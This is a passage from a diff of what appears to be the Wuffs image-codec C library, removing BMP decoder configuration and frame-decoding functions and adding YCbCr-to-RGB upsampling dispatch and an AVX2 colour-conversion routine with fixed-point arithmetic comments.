(self->private_impl.f_compression == 3u) { +- if ((self->private_impl.f_bits_per_pixel == 16u) || (self->private_impl.f_bits_per_pixel == 32u)) { +- self->private_impl.f_src_pixfmt = 2164308923u; +- } else { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- } else { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- if (((self->private_impl.f_bitmap_info_len < 40u) || (self->private_impl.f_bitmap_info_len == 64u)) && +- (self->private_impl.f_bits_per_pixel != 1u) && +- (self->private_impl.f_bits_per_pixel != 4u) && +- (self->private_impl.f_bits_per_pixel != 8u) && +- (self->private_impl.f_bits_per_pixel != 24u)) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); +- goto exit; +- } +- if (self->private_impl.f_bits_per_pixel == 1u) { +- v_byte_width = ((self->private_impl.f_width >> 3u) + (((self->private_impl.f_width & 7u) + 7u) >> 3u)); +- self->private_impl.f_pad_per_row = ((4u - (v_byte_width & 3u)) & 3u); +- } else if (self->private_impl.f_bits_per_pixel == 2u) { +- v_byte_width = ((self->private_impl.f_width >> 2u) + (((self->private_impl.f_width & 3u) + 3u) >> 2u)); +- self->private_impl.f_pad_per_row = ((4u - (v_byte_width & 3u)) & 3u); +- } else if (self->private_impl.f_bits_per_pixel == 4u) { +- v_byte_width = ((self->private_impl.f_width >> 1u) + (self->private_impl.f_width & 1u)); +- self->private_impl.f_pad_per_row = ((4u - (v_byte_width & 3u)) & 3u); +- } else if (self->private_impl.f_bits_per_pixel == 8u) { +- self->private_impl.f_pad_per_row = ((4u - (self->private_impl.f_width & 3u)) & 3u); +- } else if (self->private_impl.f_bits_per_pixel == 16u) { +- self->private_impl.f_pad_per_row = ((self->private_impl.f_width & 1u) * 2u); +- } else if (self->private_impl.f_bits_per_pixel == 24u) { +- self->private_impl.f_pad_per_row = (self->private_impl.f_width & 3u); +- } else if (self->private_impl.f_bits_per_pixel == 32u) { +- self->private_impl.f_pad_per_row = 0u; +- } +- self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); +- if (a_dst != NULL) { +- v_dst_pixfmt = 2164295816u; +- if ((self->private_impl.f_channel_num_bits[0u] > 8u) || +- (self->private_impl.f_channel_num_bits[1u] > 8u) || +- (self->private_impl.f_channel_num_bits[2u] > 8u) || +- (self->private_impl.f_channel_num_bits[3u] > 8u)) { +- v_dst_pixfmt = 2164308923u; +- } +- wuffs_base__image_config__set( +- a_dst, +- v_dst_pixfmt, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height, +- self->private_impl.f_frame_config_io_position, +- (self->private_impl.f_channel_masks[3u] == 0u)); ++#endif ++ conv3func = &wuffs_private_impl__swizzle_ycc__convert_3_rgbx; ++ break; ++ default: ++ conv3func = &wuffs_private_impl__swizzle_ycc__convert_3_general; ++ break; + } +- self->private_impl.f_call_sequence = 32u; +- +- ok: +- self->private_impl.p_do_decode_image_config[0] = 0; +- goto exit; + } + +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ void (*func3)(wuffs_base__pixel_buffer * dst, // ++ uint32_t x_min_incl, // ++ uint32_t x_max_excl, // ++ uint32_t y_min_incl, // ++ uint32_t y_max_excl, // ++ const uint8_t* src_ptr0, // ++ const uint8_t* src_ptr1, // ++ const uint8_t* src_ptr2, // ++ uint32_t stride0, // ++ uint32_t stride1, // ++ uint32_t stride2, // ++ uint32_t inv_h0, // ++ uint32_t inv_h1, // ++ uint32_t inv_h2, // ++ uint32_t inv_v0, // ++ uint32_t inv_v1, // ++ uint32_t inv_v2, // ++ uint32_t half_width_for_2to1, // ++ uint32_t half_height_for_2to1, // ++ uint8_t* scratch_buffer_2k_ptr, // ++ wuffs_private_impl__swizzle_ycc__upsample_func(*upfuncs)[4][4], ++ wuffs_private_impl__swizzle_ycc__convert_3_func conv3func) = ++ &wuffs_private_impl__swizzle_ycc__general__box_filter; ++ ++ void (*func4)(wuffs_base__pixel_buffer * dst, // ++ uint32_t x_min_incl, // ++ uint32_t x_max_excl, // ++ uint32_t y_min_incl, // ++ uint32_t y_max_excl, // ++ const uint8_t* src_ptr0, // ++ const uint8_t* src_ptr1, // ++ const uint8_t* src_ptr2, // ++ const uint8_t* src_ptr3, // ++ uint32_t stride0, // ++ uint32_t stride1, // ++ uint32_t stride2, // ++ uint32_t stride3, // ++ uint32_t inv_h0, // ++ uint32_t inv_h1, // ++ uint32_t inv_h2, // ++ uint32_t inv_h3, // ++ uint32_t inv_v0, // ++ uint32_t inv_v1, // ++ uint32_t inv_v2, // ++ uint32_t inv_v3, // ++ uint32_t half_width_for_2to1, // ++ uint32_t half_height_for_2to1, // ++ uint8_t* scratch_buffer_2k_ptr, // ++ wuffs_private_impl__swizzle_ycc__upsample_func(*upfuncs)[4][4], ++ wuffs_private_impl__swizzle_ycc__convert_4_func conv4func) = ++ &wuffs_private_impl__swizzle_ycck__general__box_filter; ++ ++ wuffs_private_impl__swizzle_ycc__upsample_func upfuncs[4][4]; ++ memcpy(&upfuncs, &wuffs_private_impl__swizzle_ycc__upsample_funcs, ++ sizeof upfuncs); + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ if (triangle_filter_for_2to1 && ++ (wuffs_private_impl__swizzle_has_triangle_upsampler(inv_h0, inv_v0) || ++ wuffs_private_impl__swizzle_has_triangle_upsampler(inv_h1, inv_v1) || ++ wuffs_private_impl__swizzle_has_triangle_upsampler(inv_h2, inv_v2) || ++ wuffs_private_impl__swizzle_has_triangle_upsampler(inv_h3, inv_v3))) { ++ func3 = &wuffs_private_impl__swizzle_ycc__general__triangle_filter; ++ func4 = &wuffs_private_impl__swizzle_ycck__general__triangle_filter; ++ ++ upfuncs[0][1] = wuffs_private_impl__swizzle_ycc__upsample_inv_h1v2_triangle; ++ upfuncs[1][0] = wuffs_private_impl__swizzle_ycc__upsample_inv_h2v1_triangle; ++ upfuncs[1][1] = wuffs_private_impl__swizzle_ycc__upsample_inv_h2v2_triangle; ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++#if defined(__GNUC__) && !defined(__clang__) ++ // Don't use our AVX2 implementation for GCC (but do use it for clang). For ++ // some unknown reason, GCC performs noticably better on the non-SIMD ++ // version. Possibly because GCC's auto-vectorizer is smarter (just with ++ // SSE2, not AVX2) than our hand-written code, but that's just a guess. ++ // ++ // See commits 51bc60ef9298cb2efc1b29a9681191f66d49820d and ++ // cd769a0cdf1b5affee13f6089b995f3d39569cb4 for benchmark numbers. ++ // ++ // See also https://godbolt.org/z/MbhbPGEz4 for Debian Bullseye's clang 11 ++ // versus gcc 10, where only gcc auto-vectorizes, although later clang ++ // versions will also auto-vectorize. ++#else ++ if (wuffs_base__cpu_arch__have_x86_avx2()) { ++ upfuncs[1][1] = ++ wuffs_private_impl__swizzle_ycc__upsample_inv_h2v2_triangle_x86_avx2; ++ } ++#endif ++#endif + } + +- return status; +-} +- +-// -------- func bmp.decoder.decode_frame_config ++ if ((h3 != 0u) || (v3 != 0u)) { ++ wuffs_private_impl__swizzle_ycc__convert_4_func conv4func = ++ is_rgb_or_cmyk ? &wuffs_private_impl__swizzle_cmyk__convert_4_general ++ : &wuffs_private_impl__swizzle_ycck__convert_4_general; ++ (*func4)( // ++ dst, x_min_incl, x_max_excl, y_min_incl, y_max_excl, // ++ src0.ptr, src1.ptr, src2.ptr, src3.ptr, // ++ stride0, stride1, stride2, stride3, // ++ inv_h0, inv_h1, inv_h2, inv_h3, // ++ inv_v0, inv_v1, inv_v2, inv_v3, // ++ half_width_for_2to1, half_height_for_2to1, // ++ scratch_buffer_2k.ptr, &upfuncs, conv4func); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_bmp__decoder__decode_frame_config( +- wuffs_bmp__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 2)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } else { ++ (*func3)( // ++ dst, x_min_incl, x_max_excl, y_min_incl, y_max_excl, // ++ src0.ptr, src1.ptr, src2.ptr, // ++ stride0, stride1, stride2, // ++ inv_h0, inv_h1, inv_h2, // ++ inv_v0, inv_v1, inv_v2, // ++ half_width_for_2to1, half_height_for_2to1, // ++ scratch_buffer_2k.ptr, &upfuncs, conv3func); + } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ return wuffs_base__make_status(NULL); ++} + +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_bmp__decoder__do_decode_frame_config(self, a_dst, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } ++// -------- + +- ok: +- self->private_impl.p_decode_frame_config[0] = 0; +- goto exit; ++// ‼ WUFFS MULTI-FILE SECTION +x86_avx2 ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") ++static void // ++wuffs_private_impl__swizzle_ycc__convert_3_bgrx_x86_avx2( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x, ++ uint32_t x_end, ++ uint32_t y, ++ const uint8_t* up0, ++ const uint8_t* up1, ++ const uint8_t* up2) { ++ if ((x + 32u) > x_end) { ++ wuffs_private_impl__swizzle_ycc__convert_3_bgrx( // ++ dst, x, x_end, y, up0, up1, up2); ++ return; + } + +- goto suspend; +- suspend: +- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; ++ size_t dst_stride = dst->private_impl.planes[0].stride; ++ uint8_t* dst_iter = dst->private_impl.planes[0].ptr + ++ (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); + +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; +-} ++ // u0001 = u16x16 [0x0001 .. 0x0001] ++ // u00FF = u16x16 [0x00FF .. 0x00FF] ++ // uFF80 = u16x16 [0xFF80 .. 0xFF80] ++ // uFFFF = u16x16 [0xFFFF .. 0xFFFF] ++ const __m256i u0001 = _mm256_set1_epi16(+0x0001); ++ const __m256i u00FF = _mm256_set1_epi16(+0x00FF); ++ const __m256i uFF80 = _mm256_set1_epi16(-0x0080); ++ const __m256i uFFFF = _mm256_set1_epi16(-0x0001); + +-// -------- func bmp.decoder.do_decode_frame_config ++ // p8000_p0000 = u16x16 [0x8000 0x0000 .. 0x8000 0x0000] ++ const __m256i p8000_p0000 = _mm256_set_epi16( // ++ +0x0000, -0x8000, +0x0000, -0x8000, // ++ +0x0000, -0x8000, +0x0000, -0x8000, // ++ +0x0000, -0x8000, +0x0000, -0x8000, // ++ +0x0000, -0x8000, +0x0000, -0x8000); + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__do_decode_frame_config( +- wuffs_bmp__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++ // Per wuffs_base__color_ycc__as__color_u32, the formulae: ++ // ++ // R = Y + 1.40200 * Cr ++ // G = Y - 0.34414 * Cb - 0.71414 * Cr ++ // B = Y + 1.77200 * Cb ++ // ++ // When scaled by 1<<16: ++ // ++ // 0.34414 becomes 0x0581A = 22554. ++ // 0.71414 becomes 0x0B6D2 = 46802. ++ // 1.40200 becomes 0x166E9 = 91881. ++ // 1.77200 becomes 0x1C5A2 = 116130. ++ // ++ // Separate the integer and fractional parts, since we work with signed ++ // 16-bit SIMD lanes. The fractional parts range from -0.5 .. +0.5 (as ++ // floating-point) which is from -0x8000 .. +0x8000 (as fixed-point). ++ // ++ // -0x3A5E = -0x20000 + 0x1C5A2 The B:Cb factor. ++ // +0x66E9 = -0x10000 + 0x166E9 The R:Cr factor. ++ // -0x581A = +0x00000 - 0x0581A The G:Cb factor. ++ // +0x492E = +0x10000 - 0x0B6D2 The G:Cr factor. ++ const __m256i m3A5E = _mm256_set1_epi16(-0x3A5E); ++ const __m256i p66E9 = _mm256_set1_epi16(+0x66E9); ++ const __m256i m581A_p492E = _mm256_set_epi16( // ++ +0x492E, -0x581A, +0x492E, -0x581A, // ++ +0x492E, -0x581A, +0x492E, -0x581A, // ++ +0x492E, -0x581A, +0x492E, -0x581A, // ++ +0x492E, -0x581A, +0x492E, -0x581A); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ while (x < x_end) { ++ // Load chroma values in even and odd columns (the high 8 bits of each ++ // u16x16 element are zero) and then subtract 0x0080. ++ // ++ // cb_all = u8x32 [cb.00 cb.01 cb.02 cb.03 .. cb.1C cb.1D cb.1E cb.1F] ++ // cb_eve = i16x16 [cb.00-0x80 cb.02-0x80 .. cb.1C-0x80 cb.1E-0x80 ] ++ // cb_odd = i16x16 [cb.01-0x80 cb.03-0x80 .. cb.1D-0x80 cb.1F-0x80 ] ++ // ++ // Ditto for the cr_xxx Chroma-Red values. ++ __m256i cb_all = _mm256_lddqu_si256((const __m256i*)(const void*)up1); ++ __m256i cr_all = _mm256_lddqu_si256((const __m256i*)(const void*)up2); ++ __m256i cb_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cb_all, u00FF)); ++ __m256i cr_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cr_all, u00FF)); ++ __m256i cb_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cb_all, 8)); ++ __m256i cr_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cr_all, 8)); + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ // ---- + +- if (self->private_impl.f_call_sequence == 32u) { +- } else if (self->private_impl.f_call_sequence < 32u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_bmp__decoder__do_decode_image_config(self, NULL, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } else if (self->private_impl.f_call_sequence == 40u) { +- if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { +- status = wuffs_base__make_status(wuffs_base__error__bad_restart); +- goto exit; +- } +- } else if (self->private_impl.f_call_sequence == 64u) { +- self->private_impl.f_call_sequence = 96u; +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } +- if (a_dst != NULL) { +- wuffs_base__frame_config__set( +- a_dst, +- wuffs_base__utility__make_rect_ie_u32( +- 0u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height), +- ((wuffs_base__flicks)(0u)), +- 0u, +- self->private_impl.f_frame_config_io_position, +- 0u, +- true, +- false, +- 4278190080u); +- } +- self->private_impl.f_call_sequence = 64u; ++ // Calculate: ++ // ++ // B-Y = (+1.77200 * Cb) as floating-point ++ // R-Y = (+1.40200 * Cr) as floating-point ++ // ++ // B-Y = ((0x2_0000 - 0x3A5E) * Cb) as fixed-point ++ // R-Y = ((0x1_0000 + 0x66E9) * Cr) as fixed-point ++ // ++ // B-Y = ((-0x3A5E * Cb) + ("2.0" * Cb)) ++ // R-Y = ((+0x66E9 * Cr) + ("1.0" * Cr)) + +- ok: +- self->private_impl.p_do_decode_frame_config[0] = 0; +- goto exit; +- } ++ // Multiply by m3A5E or p66E9, taking the high 16 bits. There's also a ++ // doubling (add x to itself), adding-of-1 and halving (shift right by 1). ++ // That makes multiply-and-take-high round to nearest (instead of down). ++ __m256i tmp_by_eve = _mm256_srai_epi16( ++ _mm256_add_epi16( ++ _mm256_mulhi_epi16(_mm256_add_epi16(cb_eve, cb_eve), m3A5E), u0001), ++ 1); ++ __m256i tmp_by_odd = _mm256_srai_epi16( ++ _mm256_add_epi16( ++ _mm256_mulhi_epi16(_mm256_add_epi16(cb_odd, cb_odd), m3A5E), u0001), ++ 1); ++ __m256i tmp_ry_eve = _mm256_srai_epi16( ++ _mm256_add_epi16( ++ _mm256_mulhi_epi16(_mm256_add_epi16(cr_eve, cr_eve), p66E9), u0001), ++ 1); ++ __m256i tmp_ry_odd = _mm256_srai_epi16( ++ _mm256_add_epi16( ++ _mm256_mulhi_epi16(_mm256_add_epi16(cr_odd, cr_odd), p66E9), u0001), ++ 1); + +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ // Add (2 * Cb) and (1 * Cr). ++ __m256i by_eve = ++ _mm256_add_epi16(tmp_by_eve, _mm256_add_epi16(cb_eve, cb_eve)); ++ __m256i by_odd = ++ _mm256_add_epi16(tmp_by_odd, _mm256_add_epi16(cb_odd, cb_odd)); ++ __m256i ry_eve = _mm256_add_epi16(tmp_ry_eve, cr_eve); ++ __m256i ry_odd = _mm256_add_epi16(tmp_ry_odd, cr_odd); + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++ // ---- + +- return status; +-} ++ // Calculate: ++ // ++ // G-Y = (-0.34414 * Cb) + ++ // (-0.71414 * Cr) as floating-point ++ // ++ // G-Y = ((+0x0_0000 - 0x581A) * Cb) + ++ // ((-0x1_0000 + 0x492E) * Cr) as fixed-point ++ // ++ // G-Y = (-0x581A * Cb) + ++ // (+0x492E * Cr) - ("1.0" * Cr) + +-// -------- func bmp.decoder.decode_frame ++ // Multiply-add to get ((-0x581A * Cb) + (+0x492E * Cr)). ++ __m256i tmp0_gy_eve_lo = _mm256_madd_epi16( // ++ _mm256_unpacklo_epi16(cb_eve, cr_eve), m581A_p492E); ++ __m256i tmp0_gy_eve_hi = _mm256_madd_epi16( // ++ _mm256_unpackhi_epi16(cb_eve, cr_eve), m581A_p492E); ++ __m256i tmp0_gy_odd_lo = _mm256_madd_epi16( // ++ _mm256_unpacklo_epi16(cb_odd, cr_odd), m581A_p492E); ++ __m256i tmp0_gy_odd_hi = _mm256_madd_epi16( // ++ _mm256_unpackhi_epi16(cb_odd, cr_odd), m581A_p492E); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_bmp__decoder__decode_frame( +- wuffs_bmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 3)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); ++ // Divide the i32x8 vectors by (1 << 16), rounding to nearest. ++ __m256i tmp1_gy_eve_lo = ++ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_lo, p8000_p0000), 16); ++ __m256i tmp1_gy_eve_hi = ++ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_hi, p8000_p0000), 16); ++ __m256i tmp1_gy_odd_lo = ++ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_lo, p8000_p0000), 16); ++ __m256i tmp1_gy_odd_hi = ++ _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_hi, p8000_p0000), 16); + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ // Pack the ((-0x581A * Cb) + (+0x492E * Cr)) as i16x16 and subtract Cr. ++ __m256i gy_eve = _mm256_sub_epi16( ++ _mm256_packs_epi32(tmp1_gy_eve_lo, tmp1_gy_eve_hi), cr_eve); ++ __m256i gy_odd = _mm256_sub_epi16( ++ _mm256_packs_epi32(tmp1_gy_odd_lo, tmp1_gy_odd_hi), cr_odd); + +- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ // ---- + +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_bmp__decoder__do_decode_frame(self, +- a_dst, +- a_src, +- a_blend, +- a_workbuf, +- a_opts); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } ++ // Add Y to (B-Y), (G-Y) and (R-Y) to produce B, G and R. ++ // ++ // For the resultant packed_x_xxx vectors, only elements 0 ..= 7 and 16 ..= ++ // 23 of the 32-element vectors matter (since we'll unpacklo but not ++ // unpackhi them). Let … denote 8 ignored consecutive u8 values and let % ++ // denote 0xFF. We'll end this section with: ++ // ++ // packed_b_eve = u8x32 [b00 b02 .. b0C b0E … b10 b12 .. b1C b1E …] ++ // packed_b_odd = u8x32 [b01 b03 .. b0D b0F … b11 b13 .. b1D b1F …] ++ // packed_g_eve = u8x32 [g00 g02 .. g0C g0E … g10 g12 .. g1C g1E …] ++ // packed_g_odd = u8x32 [g01 g03 .. g0D g0F … g11 g13 .. g1D g1F …] ++ // packed_r_eve = u8x32 [r00 r02 .. r0C r0E … r10 r12 .. r1C r1E …] ++ // packed_r_odd = u8x32 [r01 r03 .. r0D r0F … r11 r13 .. r1D r1F …] ++ // uFFFF = u8x32 [ % % .. % % … % % .. % % …] + +- ok: +- self->private_impl.p_decode_frame[0] = 0; +- goto exit; +- } ++ __m256i yy_all = _mm256_lddqu_si256((const __m256i*)(const void*)up0); ++ __m256i yy_eve = _mm256_and_si256(yy_all, u00FF); ++ __m256i yy_odd = _mm256_srli_epi16(yy_all, 8); + +- goto suspend; +- suspend: +- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ __m256i loose_b_eve = _mm256_add_epi16(by_eve, yy_eve); ++ __m256i loose_b_odd = _mm256_add_epi16(by_odd, yy_odd); ++ __m256i packed_b_eve = _mm256_packus_epi16(loose_b_eve, loose_b_eve); ++ __m256i packed_b_odd = _mm256_packus_epi16(loose_b_odd, loose_b_odd); + +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; +-} ++ __m256i loose_g_eve = _mm256_add_epi16(gy_eve, yy_eve); ++ __m256i loose_g_odd = _mm256_add_epi16(gy_odd, yy_odd); ++ __m256i packed_g_eve = _mm256_packus_epi16(loose_g_eve, loose_g_eve); ++ __m256i packed_g_odd = _mm256_packus_epi16(loose_g_odd, loose_g_odd); + +-// -------- func bmp.decoder.do_decode_frame ++ __m256i loose_r_eve = _mm256_add_epi16(ry_eve, yy_eve); ++ __m256i loose_r_odd = _mm256_add_epi16(ry_odd, yy_odd); ++ __m256i packed_r_eve = _mm256_packus_epi16(loose_r_eve, loose_r_eve); ++ __m256i packed_r_odd = _mm256_packus_epi16(loose_r_odd, loose_r_odd); + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__do_decode_frame( +- wuffs_bmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++ // ---- + +- wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ // Mix those values (unpacking in 8, 16 and then 32 bit units) to get the ++ // desired BGRX/RGBX order. ++ // ++ // From here onwards, all of our __m256i registers are u8x32. + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ // mix00 = [b00 g00 b02 g02 .. b0E g0E b10 g10 .. b1C g1C b1E g1E] ++ // mix01 = [b01 g01 b03 g03 .. b0F g0F b11 g11 .. b1D g1D b1F g1F] ++ // mix02 = [r00 % r02 % .. r0E % r10 % .. r1C % r1E %] ++ // mix03 = [r01 % r03 % .. r0F % r11 % .. r1D % r1F %] ++ // ++ // See also § below. ++ __m256i mix00 = _mm256_unpacklo_epi8(packed_b_eve, packed_g_eve); ++ __m256i mix01 = _mm256_unpacklo_epi8(packed_b_odd, packed_g_odd); ++ __m256i mix02 = _mm256_unpacklo_epi8(packed_r_eve, uFFFF); ++ __m256i mix03 = _mm256_unpacklo_epi8(packed_r_odd, uFFFF); + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ // mix10 = [b00 g00 r00 % b02 g02 r02 % b04 g04 r04 % b06 g06 r06 % ++ // b10 g10 r10 % b12 g12 r12 % b14 g14 r14 % b16 g16 r16 %] ++ // mix11 = [b01 g01 r01 % b03 g03 r03 % b05 g05 r05 % b07 g07 r07 % ++ // b11 g11 r11 % b13 g13 r13 % b15 g15 r15 % b17 g17 r17 %] ++ // mix12 = [b08 g08 r08 % b0A g0A r0A % b0C g0C r0C % b0E g0E r0E % ++ // b18 g18 r18 % b1A g1A r1A % b1C g1C r1C % b1E g1E r1E %] ++ // mix13 = [b09 g09 r09 % b0B g0B r0B % b0D g0D r0D % b0F g0F r0F % ++ // b19 g19 r19 % b1B g1B r1B % b1D g1D r1D % b1F g1F r1F %] ++ __m256i mix10 = _mm256_unpacklo_epi16(mix00, mix02); ++ __m256i mix11 = _mm256_unpacklo_epi16(mix01, mix03); ++ __m256i mix12 = _mm256_unpackhi_epi16(mix00, mix02); ++ __m256i mix13 = _mm256_unpackhi_epi16(mix01, mix03); + +- if (self->private_impl.f_call_sequence == 64u) { +- } else if (self->private_impl.f_call_sequence < 64u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_bmp__decoder__do_decode_frame_config(self, NULL, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } +- self->private_data.s_do_decode_frame[0].scratch = self->private_impl.f_padding; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (self->private_data.s_do_decode_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- 